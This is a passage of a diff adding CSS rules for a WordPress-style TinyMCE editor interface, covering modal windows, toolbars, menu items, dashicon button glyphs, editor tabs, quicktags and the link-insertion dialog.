+	overflow: visible;
+}
+
+.mce-window .mce-window-head {
+	background: #fcfcfc;
+	border-bottom: 1px solid #dfdfdf;
+	padding: 0;
+	min-height: 36px;
+}
+
+.mce-window .mce-window-head .mce-title {
+	color: #444;
+	font-size: 18px;
+	font-weight: 600;
+	line-height: 36px;
+	margin: 0;
+	padding: 0 36px 0 16px;
+}
+
+.mce-window .mce-window-head .mce-close {
+	color: transparent;
+	top: 0;
+	right: 0;
+	width: 36px;
+	height: 36px;
+	line-height: 36px;
+	text-align: center;
+}
+
+.mce-window .mce-window-head .mce-close:before {
+	font: normal 20px/36px 'dashicons';
+	text-align: center;
+	color: #666;
+	width: 36px;
+	height: 36px;
+	display: block;
+}
+
+.mce-window .mce-window-head .mce-close:hover:before {
+	color: #2ea2cc;
+}
+
+.mce-window .mce-window-head .mce-dragh {
+	width: -webkit-calc( 100% - 36px );
+	width: calc( 100% - 36px );
+}
+
+.mce-wp-help .mce-window-head {
+	border-bottom: none;
+}
+
+.mce-textbox,
+.mce-checkbox i.mce-i-checkbox,
+#wp-link .query-results {
+	border: 1px solid #ddd;
+	-webkit-border-radius: 0;
+	border-radius: 0;
+	-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.07);
+	box-shadow: inset 0 1px 2px rgba(0,0,0,0.07);
+	-webkit-transition: .05s all ease-in-out;
+	transition: .05s all ease-in-out;
+}
+
+.mce-textbox:focus,
+.mce-textbox.mce-focus,
+.mce-checkbox:focus i.mce-i-checkbox,
+#wp-link .query-results:focus {
+	border-color: #5b9dd9;
+	-webkit-box-shadow: 0 0 2px rgba(30,140,190,0.8);
+	box-shadow: 0 0 2px rgba(30,140,190,0.8);
+}
+
+/* TinyMCE menus */
+.mce-menu,
+.mce-floatpanel.mce-popover {
+	border-color: rgba(0,0,0,0.15);
+	-webkit-border-radius: 0;
+	border-radius: 0;
+	-webkit-box-shadow: 0 3px 5px rgba( 0, 0, 0, 0.2 );
+	box-shadow: 0 3px 5px rgba( 0, 0, 0, 0.2 );
+}
+
+.mce-floatpanel.mce-popover.mce-bottom {
+	margin-top: 2px;
+}
+
+.mce-floatpanel .mce-arrow {
+	display: none;
+}
+
+.mce-menu .mce-container-body {
+	min-width: 160px;
+}
+
+.mce-menu-item {
+	border: none;
+	margin-bottom: 2px;
+}
+
+.mce-menu-has-icons i.mce-ico {
+	line-height: 20px;
+}
+
+/* TinyMCE panel */
+div.mce-panel {
+	border: 0;
+	background: #fff;
+	-webkit-filter: none;
+	filter: none;
+}
+
+.mce-panel.mce-menu {
+	border: 1px solid #ddd;
+}
+
+div.mce-tab {
+	line-height: 13px;
+}
+
+/* TinyMCE toolbars */
+div.mce-toolbar-grp {
+	border-bottom: 1px solid #dedede;
+	background: #f5f5f5;
+	padding: 0;
+	position: relative;
+}
+
+div.mce-inline-toolbar-grp {
+	border: 1px solid #aaa;
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+	-webkit-box-shadow: 0 1px 3px rgba( 0, 0, 0, 0.15 );
+	box-shadow: 0 1px 3px rgba( 0, 0, 0, 0.15 );
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	margin-bottom: 8px;
+	position: absolute;
+	visibility: hidden;
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+	z-index: 100100; /* Same as the other TinyMCE "panels" */
+}
+
+div.mce-wp-image-toolbar > div.mce-stack-layout {
+	padding: 1px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-up {
+	margin-bottom: 0;
+	margin-top: 8px;
+}
+
+div.mce-inline-toolbar-grp:before,
+div.mce-inline-toolbar-grp:after {
+	position: absolute;
+	left: 50%;
+	display: block;
+	width: 0;
+	height: 0;
+	border-style: solid;
+	border-color: transparent;
+	content: '';
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-up:before {
+	top: -18px;
+	border-bottom-color: #aaa;
+	border-width: 9px;
+	margin-left: -9px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-down:before {
+	bottom: -18px;
+	border-top-color: #aaa;
+	border-width: 9px;
+	margin-left: -9px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-up:after {
+	top: -16px;
+	border-bottom-color: #f5f5f5;
+	border-width: 8px;
+	margin-left: -8px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-down:after {
+	bottom: -16px;
+	border-top-color: #f5f5f5;
+	border-width: 8px;
+	margin-left: -8px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-left:before,
+div.mce-inline-toolbar-grp.mce-arrow-left:after {
+	margin: 0;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-left:before {
+	left: 20px;
+}
+div.mce-inline-toolbar-grp.mce-arrow-left:after {
+	left: 21px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-right:before,
+div.mce-inline-toolbar-grp.mce-arrow-right:after {
+	left: auto;
+	margin: 0;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-right:before {
+	right: 20px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-right:after {
+	right: 21px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-full {
+	right: 0;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-full > div {
+	width: 100%;
+	overflow-x: auto;
+}
+
+div.mce-inline-toolbar-grp-active {
+	visibility: visible;
+}
+
+div.mce-toolbar-grp > div {
+	padding: 3px;
+}
+
+.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first {
+	padding-right: 32px;
+}
+
+.mce-toolbar .mce-btn-group {
+	margin: 0;
+}
+
+div.mce-statusbar {
+	border-top: 1px solid #e5e5e5;
+}
+
+div.mce-path {
+	padding: 2px 10px;
+	margin: 0;
+}
+
+.mce-path,
+.mce-path-item,
+.mce-path .mce-divider {
+	font-size: 12px;
+	line-height: 18px;
+}
+
+.mce-toolbar .mce-btn,
+.qt-dfw {
+	border-color: transparent;
+	background: transparent;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	text-shadow: none;
+	cursor: pointer;
+}
+
+#wp-fullscreen-buttons .mce-btn,
+.mce-toolbar .mce-btn-group .mce-btn,
+.qt-dfw {
+	border: 1px solid transparent;
+	margin: 2px;
+	background-image: none;
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+	-webkit-filter: none;
+	filter: none;
+}
+
+#wp-fullscreen-buttons .mce-btn:hover,
+.mce-toolbar .mce-btn-group .mce-btn:hover,
+#wp-fullscreen-buttons .mce-btn:focus,
+.mce-toolbar .mce-btn-group .mce-btn:focus,
+.qt-dfw:hover,
+.qt-dfw:focus {
+	background: #fafafa;
+	border-color: #999;
+	color: #222;
+	-webkit-box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 );
+	box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 );
+	outline: none;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-active,
+#wp-fullscreen-buttons .mce-btn.mce-active,
+.mce-toolbar .mce-btn-group .mce-btn:active,
+#wp-fullscreen-buttons .mce-btn:active,
+.qt-dfw.active {
+	background: #ebebeb;
+	border-color: #999;
+	-webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.3 );
+	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.3 );
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-active:hover {
+	border-color: #555;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-active:hover i.mce-ico {
+	color: #555;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:hover,
+#wp-fullscreen-buttons .mce-btn.mce-disabled:hover,
+.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus,
+#wp-fullscreen-buttons .mce-btn.mce-disabled:focus {
+	color: #aaa;
+	background: none;
+	border-color: #ddd;
+	text-shadow: 0 1px 0 #fff;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.mce-toolbar .mce-btn-group .mce-first,
+.mce-toolbar .mce-btn-group .mce-last {
+	border-color: transparent;
+}
+
+.mce-toolbar .mce-btn button,
+.qt-dfw {
+	padding: 2px 3px;
+	line-height: normal;
+}
+
+.mce-toolbar .mce-btn i {
+	text-shadow: none;
+}
+
+.mce-toolbar .mce-btn-group > div {
+	white-space: normal;
+}
+
+.mce-toolbar .mce-colorbutton .mce-open {
+	border-right: 0;
+}
+
+.mce-toolbar .mce-colorbutton .mce-preview {
+	margin: 0;
+	padding: 0;
+	top: auto;
+	bottom: 2px;
+	left: 3px;
+	height: 3px;
+	width: 20px;
+}
+
+/* mce listbox */
+.mce-toolbar .mce-btn-group .mce-btn.mce-listbox {
+    -webkit-border-radius: 0;
+    border-radius: 0;
+    direction: ltr;
+    background: #fff;
+    border: 1px solid #ddd;
+    -webkit-box-shadow: inset 0 1px 1px -1px rgba(0, 0, 0, .2);
+    box-shadow: inset 0 1px 1px -1px rgba(0, 0, 0, .2);
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:hover {
+    background-image: none;
+    border-color: #bbb;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-listbox span {
+	font-size: 13px;
+}
+
+.mce-panel .mce-btn i.mce-caret {
+	border-top: 6px solid #777;
+	margin-left: 2px;
+	margin-right: 2px;
+}
+
+.mce-listbox i.mce-caret {
+	right: 6px;
+}
+
+.mce-panel .mce-btn button.mce-open i.mce-caret,
+.mce-panel .mce-btn.mce-listbox i.mce-caret {
+	margin-left: 0;
+	margin-right: 0;
+}
+
+.mce-panel .mce-btn:hover i.mce-caret {
+	border-top-color: #333;
+}
+
+.mce-panel .mce-active i.mce-caret {
+	border-top: 0;
+	border-bottom: 6px solid #333;
+	margin-top: 7px;
+}
+
+.mce-listbox.mce-active i.mce-caret {
+	margin-top: -3px;
+}
+
+.mce-toolbar .mce-splitbtn:hover .mce-open {
+	border-right-color: transparent;
+}
+
+.mce-toolbar .mce-splitbtn .mce-open.mce-active{
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.mce-menu .mce-menu-item-normal.mce-active {
+	background-color: #e5e5e5;
+	-webkit-filter: none;
+	filter: none;
+}
+
+.mce-menu .mce-menu-item:hover,
+.mce-menu .mce-menu-item.mce-selected,
+.mce-menu .mce-menu-item:focus {
+	color: #000;
+	background-color: #bbb;
+	background-image: none;
+	-webkit-filter: none;
+	filter: none;
+}
+
+.mce-menu .mce-menu-item:hover .mce-ico,
+.mce-menu .mce-menu-item.mce-selected .mce-ico,
+.mce-menu .mce-menu-item:focus .mce-ico,
+.mce-menu .mce-menu-item:hover .mce-text,
+.mce-menu .mce-menu-item.mce-active:hover .mce-text,
+.mce-menu .mce-menu-item.mce-selected .mce-text {
+	color: #000;
+}
+
+/* Menubar */
+.mce-menubar {
+	border-color: #e5e5e5;
+	background: #fff;
+	border-width: 0px 0px 1px;
+}
+
+.mce-menubar .mce-btn:focus {
+	outline: 0;
+}
+
+div.mce-menu .mce-menu-item-sep,
+.mce-menu-item-sep:hover {
+	margin: 5px 0 4px;
+}
+
+.mce-menubtn span {
+	margin-right: 0;
+	padding-left: 3px;
+}
+
+.mce-menu-has-icons i.mce-ico:before {
+	margin-left: -2px;
+}
+
+/* Buttons in modals */
+.mce-primary button,
+.mce-primary button i {
+	text-align: center;
+	color: #fff;
+	text-shadow: none;
+	padding: 0;
+	line-height: 26px;
+}
+
+.mce-window .mce-btn {
+	color: #555;
+	background: #f7f7f7;
+	text-decoration: none;
+	font-size: 13px;
+	line-height: 26px;
+	height: 28px;
+	margin: 0;
+	padding: 0;
+	cursor: pointer;
+	border: 1px solid #ccc;
+	-webkit-appearance: none;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+	white-space: nowrap;
+	-webkit-box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 );
+	box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 );
+	background-image: none;
+}
+
+/* Remove the dotted border on :focus and the extra padding in Firefox */
+.mce-window .mce-btn::-moz-focus-inner {
+	border-width: 1px 0;
+	border-style: solid none;
+	border-color: transparent;
+	padding: 0;
+}
+
+.mce-window .mce-btn:hover,
+.mce-window .mce-btn:focus {
+	background: #fafafa;
+	border-color: #999;
+	color: #222;
+}
+
+.mce-window .mce-btn:focus {
+	-webkit-box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba( 30, 140, 190, 0.8 );
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba( 30, 140, 190, 0.8 );
+}
+
+.mce-window .mce-btn:active {
+	background: #eee;
+	border-color: #999;
+	color: #333;
+	-webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+}
+
+.mce-window .mce-btn.mce-disabled {
+	color: #aaa;
+	border-color: #ddd;
+	background: #f7f7f7;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	text-shadow: 0 1px 0 #fff;
+	cursor: default;
+}
+
+.mce-window .mce-btn.mce-primary {
+	background: #2ea2cc;
+	border-color: #0074a2;
+	-webkit-box-shadow: inset 0 1px 0 rgba( 120, 200, 230, 0.5), 0 1px 0 rgba( 0, 0, 0, 0.15 );
+	box-shadow: inset 0 1px 0 rgba( 120, 200, 230, 0.5 ), 0 1px 0 rgba( 0, 0, 0, 0.15 );
+	color: #fff;
+	text-decoration: none;
+}
+
+.mce-window .mce-btn.mce-primary:hover,
+.mce-window .mce-btn.mce-primary:focus {
+	background: #1e8cbe;
+	border-color: #0074a2;
+	-webkit-box-shadow: inset 0 1px 0 rgba( 120, 200, 230, 0.6 );
+	box-shadow: inset 0 1px 0 rgba( 120, 200, 230, 0.6 );
+	color: #fff;
+}
+
+.mce-window .mce-btn.mce-primary:focus {
+	border-color: #0e3950;
+	-webkit-box-shadow:
+		inset 0 1px 0 rgba( 120, 200, 230, 0.6 ),
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba( 30, 140, 190, 0.8 );
+	box-shadow:
+		inset 0 1px 0 rgba( 120, 200, 230, 0.6 ),
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba( 30, 140, 190, 0.8 );
+}
+
+.mce-window .mce-btn.mce-primary:active {
+	background: #1b7aa6;
+	border-color: #005684;
+	color: rgba( 255, 255, 255, 0.95 );
+	-webkit-box-shadow: inset 0 1px 0 rgba( 0, 0, 0, 0.1 );
+	box-shadow: inset 0 1px 0 rgba( 0, 0, 0, 0.1 );
+	vertical-align: top;
+}
+
+.mce-window .mce-btn.mce-primary.mce-disabled {
+	color: #94cde7;
+	background: #298cba;
+	border-color: #1b607f;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	text-shadow: 0 -1px 0 rgba( 0, 0, 0, 0.1 );
+	cursor: default;
+}
+
+.mce-menubtn.mce-fixed-width button span {
+	max-width: 80px;
+	padding-right: 16px;
+}
+
+/* Charmap modal */
+.mce-charmap {
+	margin: 3px;
+}
+
+.mce-charmap td {
+	padding: 0;
+	border-color: #dfdfdf;
+	cursor: pointer;
+}
+
+.mce-charmap td:hover {
+	background: #f3f3f3;
+}
+
+.mce-charmap td div {
+	width: 18px;
+	height: 22px;
+	line-height: 22px;
+}
+
+/* TinyMCE tooltips */
+.mce-tooltip {
+	margin-top: 2px;
+}
+
+.mce-tooltip-inner {
+	-webkit-box-shadow: 0 3px 5px rgba( 0, 0, 0, 0.2 );
+	box-shadow: 0 3px 5px rgba( 0, 0, 0, 0.2 );
+	color: #fff;
+	font-size: 12px;
+}
+
+/* TinyMCE icons */
+.mce-ico {
+	font-family: 'tinymce', Arial;
+}
+
+.mce-btn-small .mce-ico {
+    font-family: 'tinymce-small', Arial;
+}
+
+.mce-toolbar .mce-ico {
+	color: #777;
+	line-height: 20px;
+	width: 20px;
+	height: 20px;
+	text-align: center;
+	text-shadow: none;
+	margin: 0;
+	padding: 0;
+}
+
+.qt-dfw {
+	color: #777;
+	line-height: 20px;
+	width: 28px;
+	height: 26px;
+	text-align: center;
+	text-shadow: none;
+}
+
+.mce-toolbar .mce-btn .mce-open {
+	line-height: 20px;
+}
+
+.mce-toolbar .mce-btn:hover .mce-open,
+.mce-toolbar .mce-btn:focus .mce-open,
+.mce-toolbar .mce-btn.mce-active .mce-open {
+	border-left-color: #999;
+}
+
+i.mce-i-bold,
+i.mce-i-italic,
+i.mce-i-bullist,
+i.mce-i-numlist,
+i.mce-i-blockquote,
+i.mce-i-alignleft,
+i.mce-i-aligncenter,
+i.mce-i-alignright,
+i.mce-i-link,
+i.mce-i-unlink,
+i.mce-i-wp_more,
+i.mce-i-strikethrough,
+i.mce-i-spellchecker,
+i.mce-i-fullscreen,
+i.mce-i-wp_fullscreen,
+i.mce-i-dfw,
+i.mce-i-wp_adv,
+i.mce-i-underline,
+i.mce-i-alignjustify,
+i.mce-i-forecolor,
+i.mce-i-backcolor,
+i.mce-i-pastetext,
+i.mce-i-pasteword,
+i.mce-i-removeformat,
+i.mce-i-charmap,
+i.mce-i-outdent,
+i.mce-i-indent,
+i.mce-i-undo,
+i.mce-i-redo,
+i.mce-i-help,
+i.mce-i-wp_help,
+i.mce-i-wp-media-library,
+i.mce-i-ltr,
+i.mce-i-wp_page,
+i.mce-i-hr,
+i.mce-i-dashicon,
+.mce-close {
+	font: normal 20px/1 'dashicons';
+	padding: 0;
+	vertical-align: top;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	margin-left: -2px;
+	padding-right: 2px;
+}
+
+.qt-dfw {
+	font: normal 20px/1 'dashicons';
+	vertical-align: top;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+i.mce-i-bold:before {
+	content: '\f200';
+}
+
+i.mce-i-italic:before {
+	content: '\f201';
+}
+
+i.mce-i-bullist:before {
+	content: '\f203';
+}
+
+i.mce-i-numlist:before {
+	content: '\f204';
+}
+
+i.mce-i-blockquote:before {
+	content: '\f205';
+}
+
+i.mce-i-alignleft:before {
+	content: '\f206';
+}
+
+i.mce-i-aligncenter:before {
+	content: '\f207';
+}
+
+i.mce-i-alignright:before {
+	content: '\f208';
+}
+
+i.mce-i-link:before {
+	content: '\f103';
+}
+
+i.mce-i-unlink:before {
+	content: '\f225';
+}
+
+i.mce-i-wp_more:before {
+	content: '\f209';
+}
+
+i.mce-i-strikethrough:before {
+	content: '\f224';
+}
+
+i.mce-i-spellchecker:before {
+	content: '\f210';
+}
+
+i.mce-i-fullscreen:before,
+i.mce-i-wp_fullscreen:before,
+i.mce-i-dfw:before,
+.qt-dfw:before {
+	content: '\f211';
+}
+
+i.mce-i-wp_adv:before {
+	content: '\f212';
+}
+
+i.mce-i-underline:before {
+	content: '\f213';
+}
+
+i.mce-i-alignjustify:before {
+	content: '\f214';
+}
+
+i.mce-i-forecolor:before,
+i.mce-i-backcolor:before {
+	content: '\f215';
+}
+
+i.mce-i-pastetext:before {
+	content: '\f217';
+}
+
+i.mce-i-removeformat:before {
+	content: '\f218';
+}
+
+i.mce-i-charmap:before {
+	content: '\f220';
+}
+
+i.mce-i-outdent:before {
+	content: '\f221';
+}
+
+i.mce-i-indent:before {
+	content: '\f222';
+}
+
+i.mce-i-undo:before {
+	content: '\f171';
+}
+
+i.mce-i-redo:before {
+	content: '\f172';
+}
+
+i.mce-i-help:before,
+i.mce-i-wp_help:before {
+	content: '\f223';
+}
+
+i.mce-i-wp-media-library:before {
+	content: '\f104';
+}
+
+i.mce-i-ltr:before {
+	content: '\f320';
+}
+
+i.mce-i-wp_page:before {
+	content: '\f105';
+}
+
+i.mce-i-hr:before {
+	content: '\f460';
+}
+
+.mce-close:before {
+	content: '\f158';
+}
+
+.mce-i-wp_code:before {
+	content: '\f475';
+}
+
+/* Editors */
+.wp-editor-wrap {
+	position: relative;
+}
+
+.wp-editor-tools {
+	position: relative;
+	z-index: 1;
+}
+
+.wp-editor-tools:after {
+	clear: both;
+	content: '';
+	display: table;
+}
+
+.wp-editor-container {
+	clear: both;
+}
+
+.wp-editor-area {
+	font-family: Consolas, Monaco, monospace;
+	font-size: 13px;
+	padding: 10px;
+	margin: 1px 0 0;
+	line-height: 150%;
+	border: 0 none;
+	outline: none;
+	display: block;
+	resize: vertical;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.rtl .wp-editor-area {
+	font-family: Tahoma, Monaco, monospace;
+}
+
+.locale-he-il .wp-editor-area {
+	font-family: Arial, Monaco, monospace;
+}
+
+.wp-editor-container textarea.wp-editor-area {
+	width: 100%;
+	margin: 0;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.wp-editor-tabs {
+	float: right;
+}
+
+.wp-switch-editor {
+	float: left;
+	-webkit-box-sizing: content-box;
+	-moz-box-sizing: content-box;
+	box-sizing: content-box;
+	position: relative;
+	top: 1px;
+	background: #ebebeb;
+	color: #777;
+	cursor: pointer;
+	font: 13px/19px "Open Sans", sans-serif;
+	height: 20px;
+	margin: 5px 0 0 5px;
+	padding: 3px 8px 4px;
+	border: 1px solid #e5e5e5;
+}
+
+.wp-switch-editor:focus {
+	-webkit-box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+	outline: none;
+	color: #222;
+}
+
+.wp-switch-editor:active,
+.html-active .switch-html:focus,
+.tmce-active .switch-tmce:focus {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.wp-switch-editor:active {
+	background-color: #f5f5f5;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.js .tmce-active .wp-editor-area {
+	color: white;
+}
+
+.tmce-active .quicktags-toolbar {
+	 display: none;
+}
+
+.tmce-active .switch-tmce,
+.html-active .switch-html {
+	background: #f5f5f5;
+	color: #555;
+	border-bottom-color: #f5f5f5;
+}
+
+.wp-media-buttons {
+	float: left;
+}
+
+.wp-media-buttons .button {
+	margin-right: 5px;
+	margin-bottom: 4px;
+	padding-left: 7px;
+	padding-right: 7px;
+}
+
+.wp-media-buttons .button:active {
+	position: relative;
+	top: 1px;
+	margin-top: -1px;
+	margin-bottom: 1px;
+}
+
+.wp-media-buttons .insert-media {
+	padding-left: 5px;
+}
+
+.wp-media-buttons a {
+	text-decoration: none;
+	color: #464646;
+	font-size: 12px;
+}
+
+.wp-media-buttons img {
+	padding: 0 4px;
+	vertical-align: middle;
+}
+
+.wp-media-buttons span.wp-media-buttons-icon {
+	display: inline-block;
+	width: 18px;
+	height: 18px;
+	vertical-align: text-top;
+	margin: 0 2px;
+}
+
+.wp-media-buttons .add_media span.wp-media-buttons-icon {
+	background: none;
+}
+
+.wp-media-buttons .add_media span.wp-media-buttons-icon:before {
+	font: normal 18px/1 'dashicons';
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.wp-media-buttons .add_media span.wp-media-buttons-icon:before {
+	content: '\f104';
+}
+
+/* Quicktags */
+.quicktags-toolbar {
+	padding: 3px;
+	position: relative;
+	border-bottom: 1px solid #dedede;
+	background: #f5f5f5;
+}
+
+.has-dfw .quicktags-toolbar {
+	padding-right: 35px;
+}
+
+.wp-core-ui .quicktags-toolbar input.button.button-small {
+	margin: 2px;
+}
+
+.quicktags-toolbar input[value="link"] {
+	text-decoration: underline;
+}
+
+.quicktags-toolbar input[value="del"] {
+	text-decoration: line-through;
+}
+
+.quicktags-toolbar input[value="i"] {
+	font-style: italic;
+}
+
+.quicktags-toolbar input[value="b"] {
+	font-weight: bold;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw,
+.qt-dfw {
+	position: absolute;
+	top: 0;
+	right: 0;
+	margin: 5px 5px 0 0;
+}
+
+.qt-fullscreen {
+	position: static;
+	margin: 2px;
+}
+
+@media screen and ( max-width: 782px ) {
+	.mce-toolbar .mce-btn button,
+	.qt-dfw {
+		padding: 6px 7px;
+	}
+
+	#wp-fullscreen-buttons .mce-btn,
+	.mce-toolbar .mce-btn-group .mce-btn {
+		margin: 1px;
+	}
+
+	.qt-dfw {
+		width: 36px;
+		height: 34px;
+	}
+
+	.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw {
+		margin: 4px 4px 0 0;
+	}
+
+	.mce-toolbar .mce-colorbutton .mce-preview {
+		left: 8px;
+		bottom: 6px;
+	}
+
+	.mce-window .mce-btn {
+		padding: 2px 0;
+	}
+
+	.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first,
+	.has-dfw .quicktags-toolbar {
+		padding-right: 40px;
+	}
+}
+
+@media screen and ( min-width: 782px ) {
+	.wp-core-ui .quicktags-toolbar input.button.button-small {
+		/* .button-small is normaly 11px, but a bit too small for these buttons. */
+		font-size: 12px;
+		height: 26px;
+		line-height: 24px;
+	}
+}
+
+#wp_editbtns,
+#wp_gallerybtns {
+	padding: 2px;
+	position: absolute;
+	display: none;
+	z-index: 100020;
+}
+
+#wp_editimgbtn,
+#wp_delimgbtn,
+#wp_editgallery,
+#wp_delgallery {
+	border-color: #999;
+	background-color: #eee;
+	margin: 2px;
+	padding: 2px;
+	border-width: 1px;
+	border-style: solid;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+}
+
+#wp_editimgbtn:hover,
+#wp_delimgbtn:hover,
+#wp_editgallery:hover,
+#wp_delgallery:hover {
+	border-color: #555;
+	background-color: #ccc;
+}
+
+/*------------------------------------------------------------------------------
+ wp-link
+------------------------------------------------------------------------------*/
+
+#wp-link-wrap {
+	display: none;
+	background-color: #fff;
+	-webkit-box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	width: 500px;
+	height: 250px;
+	overflow: hidden;
+	margin-left: -250px;
+	margin-top: -125px;
+	position: fixed;
+	top: 50%;
+	left: 50%;
+	z-index: 100105;
+	-webkit-transition: height 0.2s, margin-top 0.2s;
+	transition: height 0.2s, margin-top 0.2s;
+}
+
+#wp-link-backdrop {
+	display: none;
+	position: fixed;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	min-height: 360px;
+	background: #000;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	z-index: 100100;
+}
+
+#wp-link {
+	position: relative;
+	height: 100%;
+}
+
+#wp-link-wrap.search-panel-visible {
+	height: 500px;
+	margin-top: -250px;
+}
+
+#link-modal-title {
+	background: #fcfcfc;
+	border-bottom: 1px solid #dfdfdf;
+	height: 36px;
+	font-size: 18px;
+	font-weight: 600;
+	line-height: 36px;
+	padding: 0 36px 0 16px;
+	top: 0;
+	right: 0;
+	left: 0;
+}
+
+#wp-link-close {
+	color: #666;
+	padding: 0;
+	position: absolute;
+	top: 0;
+	right: 0;
+	width: 36px;
+	height: 36px;
+	text-align: center;
+	background: none;
+	border: none;
+	cursor: pointer;
+}
+
+#wp-link-close:before {
+	font: normal 20px/36px 'dashicons';
+	vertical-align: top;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	width: 36px;
+	height: 36px;
+	content: '\f158';
+}
+
+#wp-link-close:hover,
+#wp-link-close:focus {
+	color: #2ea2cc;
+}
+
+#wp-link-close:focus {
+	outline: none;
+	-webkit-box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+#link-selector {
+	padding: 0 16px 50px;
+}
+
+#wp-link-wrap.search-panel-visible #link-selector {
+	padding: 0 16px;
+	position: absolute;
+	top: 36px;
+	left: 0;
+	right: 0;
+	bottom: 44px;
+}
+
+#wp-link ol,
+#wp-link ul {
+	list-style: none;
+	margin: 0;
+	padding: 0;
+}
+
+#wp-link-search-toggle:after {
+	display: inline-block;
+	font: normal 20px/1 'dashicons';
+	vertical-align: top;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	content: '\f140';
+}
+
+.search-panel-visible #wp-link-search-toggle:after {
+	content: '\f142';
+}
+
+#wp-link input[type="text"] {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#wp-link #link-options {
+	padding: 8px 0 12px;
+}
+
+#wp-link p.howto {
+	margin: 3px 0;
+}
+
+#wp-link p.howto a {
+	text-decoration: none;
+	color: inherit;
+}
+
+#wp-link-search-toggle {
+	cursor: pointer;
+}
+
+#wp-link label input[type="text"] {
+	margin-top: 5px;
+	width: 70%;
+}
+
+#wp-link #link-options label span,
+#wp-link #search-panel label span.search-label {
+	display: inline-block;
+	width: 80px;
+	text-align: right;
+	padding-right: 5px;
+	max-width: 24%;
+}
+
+#wp-link .link-search-field {
+	float: left;
+	width: 250px;
+	max-width: 70%;
+}
+
+#wp-link .link-search-wrapper {
+	margin: 5px 0 9px;
+	display: block;
+	overflow: hidden;
+}
+
+#wp-link .link-search-wrapper span {
+	float: left;
+	margin-top: 4px;
+}
+
+#wp-link .link-search-wrapper .spinner {
+	display: none;
+	vertical-align: text-bottom;
+}
+
+#wp-link .link-target {
+	padding: 3px 0 0;
+	white-space: nowrap;
+	overflow: hidden;
+	text-overflow: ellipsis;
+}
+
+#wp-link .link-target label {
+	max-width: 70%;
+}
+
+#wp-link .query-results {
